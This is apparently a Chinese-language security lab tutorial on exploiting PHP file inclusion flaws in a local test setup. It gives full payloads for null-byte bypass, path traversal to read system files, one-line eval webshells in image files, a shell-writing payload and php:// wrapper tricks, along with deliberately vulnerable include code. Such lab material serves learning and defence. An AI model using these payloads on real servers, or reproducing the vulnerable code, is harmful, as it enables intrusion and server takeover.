目录
1 内容简介
本节概述
在前两节了解了文件包含及其漏洞的危害后,本节主要讲文件包含漏洞的绕过方式及利用方法。
- 绕过方式:结合之前SQL注入、XLL漏洞、PHP注入、命令注入等内容的理解:
- 很多时候一些绕过思路是相似的,比如双写绕过等;
- 有些绕过是特有的,比如大小写绕过是利用SQL语句对大小写不敏感的特点、00截断是利用早期PHP一些函数认为空字符是字符串结束标识的特点。
- 本节主要讲利用空字符来绕过一些文件包含语句。
- 利用方式:本节内容从以下六方面来分享文件包含漏洞的利用方式。
- 读取敏感文件内容;
- 直接包含图片木马GetShell;
- 包含文件写shell文件再GetShell;
- 利用PHP封装读取敏感文件内容;
- 利用PHP封装传输PHP源码;
- 利用PHP封装执行PHP语句。
实验环境
- 本文实验基于WAMP环境进行测试,环境部署过程参考文章《win2008R2SP1+WAMP环境部署》。
- 在靶机网站根目录下,新建文件夹test,在test文件夹下新建以下文件进行实验。
- 根据不同实验,需要在此处切换不同版本软件。
2 空字符绕过
2.1 实验基础知识
- 空字符安全绕过是PHP小于5.3.4版本的一个漏洞,编号是CVE-2006-7243。这个漏洞就是PHP接收来自路径名中的空字符,这可能允许依赖于上下文的攻击者通过在此字符后放置安全文件扩展名来绕过预期的访问限制,也就是之前所学的00截断。同理地,00截断也会体现在文件包含中。
- 漏洞利用的条件:
- PHP版本小于5.3.4;
- 关闭PHP魔术引号。
- PHP魔术引号:
- 应用背景:当sql句中含有单引号,双引号,反斜杠和NUL时,这时候如果不对这些符号进行转义,写入数据库时就会出错,而魔术引号magic_quotes_gpc()就是对这些符号进行转义以便能把数据正确写入数据库。
- 该参数在php.ini文件中修改。
- PHP魔术引号特性已自 PHP5.3.0起废弃并将自PHP5.4.0起移除。也就是说在本实验环境的PHP版本中仍是存在的。
2.2 实验环境及准备
- 由于该漏洞仅针对5.3.4以下版本的PHP有效,对此,我们将phpstudy中软件版本切换为“php-5.2.17+apache”。
- Web应用在设计的时候,经常会使用包含模板文件,如下。在网站根目录下的test文件夹内新建一个txt文件,输入以下内容,并重命名为include.php。该文件作为客户端访问的文件。
<?php
if(isset($_GET['path'])){
include $_GET['path'].".html";
}else{
echo "?path=['path']";
}
?>
- 同样位置新建一个txt文件,输入以下内容,并重命名为hello.html。该文件用于正常访问时被文件包含执行。
<h1>Hello World</h1>
- 同样位置新建一个txt文件,输入以下内容,并重命名为info.jpg。该文件假设是攻击者通过文件上传漏洞等方式保存在服务器的,用于演示空字符攻击时被文件包含执行。
<?php phpinfo();?>
- 同样位置新建一个txt文件,输入以下内容,并重命名为info.html。该文件假设是攻击者通过文件上传漏洞等方式保存在服务器的,用于演示空字符攻击时被文件包含执行。
<?php phpinfo();?>
2.3 实验步骤
2.3.1 正常访问
真实机浏览器访问靶机,正常访问时输入http://192.168.1.4/test/include.php?path=hello
访问时,显示如下。因为代码会自动在文件后自动添加后缀名,所以参数path中无需加入参数。
2.3.2 空字符绕过
- 当攻击者按老方法传递入攻击文件后缀名访问时,如
http://192.168.1.4/test/include.php?path=info.jpg
,弹出错误,因为程序自动在后面加了html后缀,导致程序找不到原来的文件。攻击者可以从以下错误提示中知道程序是在输入参数后自动添加了后缀,方便下一次调整攻击姿势。
- 在关闭PHP魔术引号前,攻击者如果想利用00阶段来让程序误解字符串终止位置,输入
http://192.168.1.4/test/include.php?path=info.jpg%00
访问时,显示如下。
- 在靶机上打开对应PHP版本的配置文件php.ini,将下面的参数设置为Off,保存并重启phpstudy。
- 再次输入
http://192.168.1.4/test/include.php?path=info.jpg%00
访问时,显示如下。可以看到空字符成功将字符串截止,也就是说程序没能把html后缀加到输入参数后面了。
2.3.3 额外的方式
额外地,假设我们通过其他方式知道了该文件包含漏洞能打开后缀名为html的文件,我们也可以直接上传一个文件名后缀为html文件,来直接访问,如http://192.168.1.4/test/include.php?path=info
。
3 利用方式一:读取敏感文件
3.1 实验简介
- 目的:了解文件包含漏洞获取服务器本地敏感文件的利用方式。
- 实现条件:
- 目标主机文件存在(目标文件的路径,可用绝对路径或相对路径);
- 具有文件的可读权限。
3.2 实验步骤
- 以获取服务器本地host文件为例,Windows系统下的host文件路径为
c:\windows\System32\drivers\etc\hosts
。 - 在服务器根目录下test文件下新建txt文件,输入以下内容,并重命名为include.php。
<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>
- 真实机浏览器访问
http://192.168.1.4/test/include.php?path=c:\windows\System32\drivers\etc\hosts
,网页显示如下,可以看到成功显示服务器本地的host文件内容。
- 以上是采用绝对路径的写法,如果是采用相对路径,可以多添加几个
..\
表示上级目录直到根目录,如http://192.168.1.4/test/include.php?path=..\..\..\..\..\..\..\..\windows\System32\drivers\etc\hosts
,网页显示如下,同样可以读取host文件。对于Windows系统,采用该方式来读取,如果服务器部署不是在C盘的话,就获取不到了数据了;对于Linux系统,同在一个根目录下,则没有该问题。
4 利用方法二:直接包含图片木马GetShell
4.1 实验简介
- 目的:通过利用服务器文件包含漏洞,使用中国蚁剑和图片木马(含一句话木马)GetShell。
- 实验准备:
- 图片马。在靶机根目录下test文件夹下新建一个txt文件,输入
<?php @eval($_REQUEST[111]);?>
,并命名为muma.jpg,就当该文件是攻击者利用文件上传或其他漏洞保存在该位置的吧。 - 真实机:安装中国蚁剑,参考文章《中国蚁剑V2.0下载安装到上手》。
- 在服务器根目录下test文件下新建txt文件,输入以下内容,并重命名为include.php。
- 图片马。在靶机根目录下test文件夹下新建一个txt文件,输入
<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>
4.2 实验步骤
- 真实机使用浏览器访问
http://192.168.1.4/test/include.php?path=muma.jpg&111=print(123456);
,注意结尾有分号,可以看到能激活文件并执行等于号后的内容。
- 由于php代码是存在jpg文件中的,如果没有借助其他解析漏洞就没有运行里面的代码,而在上一步中成功利用
http://192.168.1.4/test/include.php?path=muma.jpg
执行图片马中的PHP语句,因此可以用中国蚁剑来连接它。打开中国蚁剑,添加数据并填写以下资料,点击添加。
- 添加后在软件主界面可以看到新添加的内容,双击即可管理服务器。
5 利用方法三:包含木马写Shell
5.1 实验简介
- 目的:利用文件包含漏洞,执行图片马,生成Shell代码。同样地,可以生成其他代码。
- 实验准备:
- 图片马。在靶机根目录下test文件夹下新建一个txt文件,输入
<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST[111])?>");?>
,重命名为muma_.jpg,当该代码执行时,将在当前目录下创建一个名为shell.php的文件,内容为<?php @eval(\$_REQUEST[111])?>
。 - 真实机:安装中国蚁剑,参考文章《中国蚁剑V2.0下载安装到上手》。
- 在服务器根目录下test文件下新建txt文件,输入以下内容,并重命名为include.php。
- 图片马。在靶机根目录下test文件夹下新建一个txt文件,输入
<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>
5.2 实验步骤
- 真实机浏览器访问
http://192.168.1.4/test/include.php?path=muma_.jpg&111
,网页显示如下,没有报错。打开靶机中的test文件夹,可以看到成功生成shell.php文件。
- 打开蚁剑连接shell.php,此处连接与上一个实验不一样的是,此处一句话木马位于PHP文件中,可以直接访问而无需再借助文件包含漏洞。新建连接如下。
- 双击新建的连接,可以成功管理服务器。
6 利用方法四:利用PHP封装协议读取本地文件
6.1 实验简介
- 目的:该方式与“利用方法一”目的一致,由于存在该方法,所以学习一下。
- 条件:要求PHP配置文件中将allow_url_include参数配置为On。
- 实验准备:在服务器根目录下test文件下新建txt文件,输入以下内容,并重命名为include.php。
<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>
6.2 实验步骤
在真实机浏览器输入192.168.1.4/test/include.php?path=file://c:\windows\System32\drivers\etc\hosts,可以看到成功读取文件内容。
7 利用方法五:利用PHP封装传输PHP文件
7.1 实验简介
- 目的:读取网站源代码。上述利用方法一和方法四读取文件的结果,如果其中有PHP代码会被无条件执行,也就是说我们看到的将是PHP代码执行后的结果,如果想要看到PHP代码源码,需要用到此方法。
- 条件:要求PHP配置文件中将allow_url_include参数配置为On。
- 实验准备:在服务器根目录下test文件下新建txt文件,输入以下内容,并重命名为include.php。
<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>
7.2 实验步骤
- 真实机浏览器访问时输入
192.168.1.4/test/include.php?path=php://filter/read=convert.base64-encode/resource=shell.php
,页面显示内容如下。这里是利用PHP伪协议来读取文件,read表示读取文件内容,convert.base64-encode表示采用base64编码,resource后面跟资源文件名。
- 将显示出来的代码复制。黏贴到在线加解码工具中,即可查看源码。
8 利用方法六:利用PHP封装执行PHP代码(失败,以后再尝试)
8.1 实验简介
- 目的:在本地或远程没有文件的前提下,直接执行PHP代码。
- 条件:要求PHP配置文件中将allow_url_include参数配置为On。
- 实验准备:在服务器根目录下test文件下新建txt文件,输入以下内容,并重命名为include.php。
<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>
8.2 实验步骤
- 真实机打开BurpSuite,切换到repeater模块,复制上一个实验的URL,右键以URL形式添加请求。点击发送,可以看到响应内容与上一个实验一致。本实验将利用BurpSuite通过该请求来执行PHP代码。
- 修改PHP伪协议为
php://input
,同时在请求体中添加想要执行的PHP代码<?php phpinfo();?>
,如下图,并点击发送。按教程来讲应该在响应中可以显示探针语句执行结果的,但是这里显示失败了,暂时没有早到原因。
9 总结
- 关于图片马的几种执行方式总结:
- 利用中间件解析漏洞,不同中间件不同版本的利用方式往往不同。参考以下文章:
《中间件文件解析漏洞基础知识及实验——Apache》;
《中间件文件解析漏洞基础知识及实验——IIS》;
《中间件文件解析漏洞基础知识及实验——Nginx》 - 利用.htaccess修改Apache局部配置。参考《.htaccess攻击实验》
- 利用文件包含执行漏洞。参考本文内容。
- 利用中间件解析漏洞,不同中间件不同版本的利用方式往往不同。参考以下文章:
- 了解PHP魔术引号的作用。
- 掌握文件包含漏洞空字符绕过的方法。
- 掌握文件包含漏洞的六种利用方式。